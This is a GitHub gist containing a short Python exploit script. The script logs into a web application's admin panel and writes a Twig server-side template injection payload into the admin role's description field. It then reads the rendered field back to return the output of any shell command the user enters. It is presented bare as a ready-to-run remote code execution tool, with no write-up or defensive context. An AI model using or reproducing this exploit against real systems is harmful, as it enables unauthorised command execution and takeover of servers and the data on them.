Created
January 14, 2026 09:31
-
-
Save RajChowdhury240/da57197754abe10e4e0b1dccae894343 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| from bs4 import BeautifulSoup | |
| from urllib.parse import urljoin | |
| def login(session, url, email, password): | |
| login_url = urljoin(url, '/admin/login') | |
| response = session.get(login_url) | |
| soup = BeautifulSoup(response.content, 'html.parser') | |
| token = soup.find('input', {'name': '_token'})['value'] | |
| payload = { | |
| '_token': token, | |
| 'email': email, | |
| 'password': password | |
| } | |
| session.post(login_url, data=payload) | |
| # Function to edit role 1 and extract the Description of the Admin user. | |
| def edit_role_and_extract_description(session, url, command): | |
| edit_role_url = urljoin(url, '/admin/users/roles/edit/1') | |
| response = session.get(edit_role_url) | |
| soup = BeautifulSoup(response.content, 'html.parser') | |
| token = soup.find('input', {'name': '_token'})['value'] | |
| payload = { | |
| '_token': token, | |
| 'name_en': 'Admin', | |
| 'slug': 'admin', | |
| 'description_en': f'{{{{["{command}"]|map("system")|join}}}}', | |
| 'action': 'save_exit' | |
| } | |
| session.post(edit_role_url, data=payload) | |
| # Extract the updated Description from role 1. | |
| response = session.get(urljoin(url, '/admin/users/roles')) | |
| soup = BeautifulSoup(response.content, 'html.parser') | |
| description = soup.find('td', {'data-title': 'Description'}).text.strip() | |
| return description | |
| def main(): | |
| url = input("Enter the application URL: ") | |
| email = input("Enter the email for authentication: ") | |
| password = input("Enter the password : ") | |
| command = input("Enter the command to be executed: ") | |
| with requests.Session() as session: | |
| login(session, url, email, password) | |
| description = edit_role_and_extract_description(session, url, command) | |
| print("\nResult of command execution:") | |
| print(description) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment